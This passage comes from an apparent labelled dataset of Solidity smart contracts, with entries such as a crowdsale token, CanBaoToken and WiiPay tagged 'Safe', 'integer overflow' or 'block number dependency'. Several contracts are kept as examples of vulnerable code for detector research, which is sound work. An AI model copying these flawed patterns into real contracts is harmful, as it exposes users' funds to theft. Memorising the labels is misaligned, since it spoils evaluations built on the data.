_eth.sub(((_eth.mul(24)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Suohadatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit Suohaevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == community_addr, ""only community can activate"" ); require(activated_ == false, ""shuoha already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library Suohadatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library SuohaKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x0344fe8870c543eb56aecf4db78cd43b2a444099_CrowdsaleToken.sol,"pragma solidity ^0.4.24; /** * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Originally from https://github.com/OpenZeppelin/zeppelin-solidity * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Interface for the standard token. * Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract EIP20Token { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function allowance(address owner, address spender) public view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /** ** Optional functions * function name() public view returns (string name); function symbol() public view returns (string symbol); function decimals() public view returns (uint8 decimals); * **/ } pragma solidity ^0.4.24; /** * Originally from https://github.com/OpenZeppelin/zeppelin-solidity * Modified by https://www.coinfabrik.com/ */ /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } pragma solidity ^0.4.24; // Interface for burning tokens contract Burnable { // @dev Destroys tokens for an account // @param account Account whose tokens are destroyed // @param value Amount of tokens to destroy function burnTokens(address account, uint value) internal; event Burned(address account, uint value); } pragma solidity ^0.4.24; /** * Authored by https://www.coinfabrik.com/ */ /** * Internal interface for the minting of tokens. */ contract Mintable { /** * @dev Mints tokens for an account * This function should the Minted event. */ function mintInternal(address receiver, uint amount) internal; /** Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); } /** * @title Standard token * @dev Basic implementation of the EIP20 standard token (also known as ERC20 token). */ contract StandardToken is EIP20Token, Burnable, Mintable { using SafeMath for uint; uint private total_supply; mapping(address => uint) private balances; mapping(address => mapping (address => uint)) private allowed; function totalSupply() public view returns (uint) { return total_supply; } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Gets the balance of the specified address. * @param account The address whose balance is to be queried. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address account) public view returns (uint balance) { return balances[account]; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint the amout of tokens to be transfered */ function transferFrom(address from, address to, uint value) public returns (bool success) { uint allowance = allowed[from][msg.sender]; // Check is not needed because sub(allowance, value) will already throw if this condition is not met // require(value <= allowance); // SafeMath uses assert instead of require though, beware when using an analysis tool balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowance.sub(value); emit Transfer(from, to, value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint value) public returns (bool success) { // To change the approve amount you first have to reduce the addresses' // allowance to zero by calling `approve(spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require (value == 0 || allowed[msg.sender][spender] == 0); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param account address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address account, address spender) public view returns (uint remaining) { return allowed[account][spender]; } /** * Atomic increment of approved spending * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function addApproval(address spender, uint addedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][spender]; allowed[msg.sender][spender] = oldValue.add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function subApproval(address spender, uint subtractedValue) public returns (bool success) { uint oldVal = allowed[msg.sender][spender]; if (subtractedValue > oldVal) { allowed[msg.sender][spender] = 0; } else { allowed[msg.sender][spender] = oldVal.sub(subtractedValue); } emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } /** * @dev Provides an internal function for destroying tokens. Useful for upgrades. */ function burnTokens(address account, uint value) internal { balances[account] = balances[account].sub(value); total_supply = total_supply.sub(value); emit Transfer(account, 0, value); emit Burned(account, value); } /** * @dev Provides an internal minting function. */ function mintInternal(address receiver, uint amount) internal { total_supply = total_supply.add(amount); balances[receiver] = balances[receiver].add(amount); emit Minted(receiver, amount); // Beware: Address zero may be used for special transactions in a future fork. // This will make the mint transaction appear in EtherScan.io // We can remove this after there is a standardized minting event emit Transfer(0, receiver, amount); } } pragma solidity ^0.4.24; /** * Originally from https://github.com/OpenZeppelin/zeppelin-solidity * Modified by https://www.coinfabrik.com/ */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is StandardToken, Ownable { /* The finalizer contract that allows lifting the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Set the contract that can call release and make the token transferable. * * Since the owner of this contract is (or should be) the crowdsale, * it can only be called by a corresponding exposed API in the crowdsale contract in case of input error. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to have a normal wallet address to act as a release agent. releaseAgent = addr; } /** * Owner can allow a particular address (e.g. a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens into the wild. * * Can be called only from the release agent that should typically be the finalize agent ICO contract. * In the scope of the crowdsale, it is only called if the crowdsale has been a success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** * Limit token transfer until the crowdsale is over. */ modifier canTransfer(address sender) { require(released || transferAgents[sender]); _; } /** The function can be called only before or after the tokens have been released */ modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } /** We restrict transfer by overriding it */ function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(to, value); } /** We restrict transferFrom by overriding it */ function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(from, to, value); } } pragma solidity ^0.4.24; /** * First envisioned by Golem and Lunyr projects. * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Inspired by Lunyr. * Originally from https://github.com/TokenMarketNet/ico */ /** * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. * * The Upgrade agent is the interface used to implement a token * migration in the case of an emergency. * The function upgradeFrom has to implement the part of the creation * of new tokens on behalf of the user doing the upgrade. * * The new token can implement this interface directly, or use. */ contract UpgradeAgent { /** This value should be the same as the original token's total supply */ uint public originalSupply; /** Interface to ensure the contract is correctly configured */ function isUpgradeAgent() public pure returns (bool) { return true; } /** Upgrade an account When the token contract is in the upgrade status the each user will have to call `upgrade(value)` function from UpgradeableToken. The upgrade function adjust the balance of the user and the supply of the previous token and then call `upgradeFrom(value)`. The UpgradeAgent is the responsible to create the tokens for the user in the new contract. * @param from Account to upgrade. * @param value Tokens to upgrade. */ function upgradeFrom(address from, uint value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * */ contract UpgradeableToken is EIP20Token, Burnable { using SafeMath for uint; /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint public totalUpgraded = 0; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can begin * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet. This allows changing the upgrade agent while there is time. * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed from, address to, uint value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ constructor(address master) internal { setUpgradeMaster(master); } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint value) public { UpgradeState state = getUpgradeState(); // Ensure it's not called in a bad state require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading); // Validate input value. require(value != 0); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); // Take tokens out from circulation burnTokens(msg.sender, value); totalUpgraded = totalUpgraded.add(value); emit Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles the upgrade process */ function setUpgradeAgent(address agent) onlyMaster external { // Check whether the token is in a state that we could think of upgrading require(canUpgrade()); require(agent != 0x0); // Upgrade has already begun for an agent require(getUpgradeState() != UpgradeState.Upgrading); upgradeAgent = UpgradeAgent(agent); // Bad interface require(upgradeAgent.isUpgradeAgent()); // Make sure that token supplies match in source and target require(upgradeAgent.originalSupply() == totalSupply()); emit UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public view returns(UpgradeState) { if (!canUpgrade()) return UpgradeState.NotAllowed; else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function changeUpgradeMaster(address new_master) onlyMaster public { setUpgradeMaster(new_master); } /** * Internal upgrade master setter. */ function setUpgradeMaster(address new_master) private { require(new_master != 0x0); upgradeMaster = new_master; } /** * Child contract can override to provide the condition in which the upgrade can begin. */ function canUpgrade() public view returns(bool) { return true; } modifier onlyMaster() { require(msg.sender == upgradeMaster); _; } } pragma solidity ^0.4.24; /** * Authored by https://www.coinfabrik.com/ */ // This contract aims to provide an inheritable way to recover tokens from a contract not meant to hold tokens // To use this contract, have your token-ignoring contract inherit this one and implement getLostAndFoundMaster to decide who can move lost tokens. // Of course, this contract imposes support costs upon whoever is the lost and found master. contract LostAndFoundToken { /** * @return Address of the account that handles movements. */ function getLostAndFoundMaster() internal view returns (address); /** * @param agent Address that will be able to move tokens with transferFrom * @param tokens Amount of tokens approved for transfer * @param token_contract Contract of the token */ function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public { require(msg.sender == getLostAndFoundMaster()); // We use approve instead of transfer to minimize the possibility of the lost and found master // getting them stuck in another address by accident. token_contract.approve(agent, tokens); } } pragma solidity ^0.4.24; /** * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ /** * A public interface to increase the supply of a token. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, usually contracts whitelisted by the owner, can mint new tokens. * */ contract MintableToken is Mintable, Ownable { using SafeMath for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); constructor(uint initialSupply, address multisig, bool mintable) internal { require(multisig != address(0)); // Cannot create a token without supply and no minting require(mintable || initialSupply != 0); // Create initially all balance on the team multisig if (initialSupply > 0) mintInternal(multisig, initialSupply); // No more new supply allowed after the token creation mintingFinished = !mintable; } /** * Create new tokens and allocate them to an address. * * Only callable by a mint agent (e.g. crowdsale contract). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { mintInternal(receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; emit MintingAgentChanged(addr, state); } modifier onlyMintAgent() { // Only mint agents are allowed to mint new tokens require(mintAgents[msg.sender]); _; } /** Make sure we are not done yet. */ modifier canMint() { require(!mintingFinished); _; } } /** * A crowdsale token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through the approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * - ERC20 tokens transferred to this contract can be recovered by a lost and found master * */ contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken { string public name = ""Kryptobits""; string public symbol = ""KBE""; uint8 public decimals; address public lost_and_found_master; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param initial_supply How many tokens we start with. * @param token_decimals Number of decimal places. * @param team_multisig Address of the multisig that receives the initial supply and is set as the upgrade master. * @param token_retriever Address of the account that handles ERC20 tokens that were accidentally sent to this contract. */ constructor(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) { require(token_retriever != address(0)); decimals = token_decimals; lost_and_found_master = token_retriever; } /** * When token is released to be transferable, prohibit new token creation. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality to kick in only if the crowdsale was a success. */ function canUpgrade() public view returns(bool) { return released && super.canUpgrade(); } function burn(uint value) public { burnTokens(msg.sender, value); } function getLostAndFoundMaster() internal view returns(address) { return lost_and_found_master; } }",Safe,8,8 1069.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint receiverCount = _receivers.length; uint256 amount = _value.mul(uint256(receiverCount)); require(receiverCount > 0); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < receiverCount; i++) { balances[_receivers[i]] = balances[_receivers[i]].add(_value); emit Transfer(msg.sender, _receivers[i], _value); } return true; } } contract CanBaoToken is PausableToken { string public constant name = ""CanBaoToken""; string public constant symbol = ""CBT""; uint8 public constant decimals = 8; uint256 private constant TOKEN_INITIAL = 100000000 * (10 ** uint256(decimals)); function CanBaoToken() public { totalSupply_ = TOKEN_INITIAL; balances[msg.sender] = TOKEN_INITIAL; emit Transfer(address(0), msg.sender, TOKEN_INITIAL); paused = false; } }",./Dataset/integer overflow (OF)/,4,4 860.sol,"pragma solidity ^0.4.23; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract WiiPay { uint256 public totalSupply = 1000000000e18; string public constant name = ""WiiPay""; string public constant symbol = ""WIIP""; uint8 public constant decimals = 18; uint currentTotalSupply = 0; uint airdropNum = 500; mapping (address => uint256) public balanceOf; mapping(address => bool) touched; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { if (!touched[_owner] && currentTotalSupply < totalSupply) { touched[_owner] = true; currentTotalSupply += airdropNum; balanceOf[_owner] += airdropNum; } return balanceOf[_owner]; } }",./Dataset/integer overflow (OF)/,4,4 33894.sol,"// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.8; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] 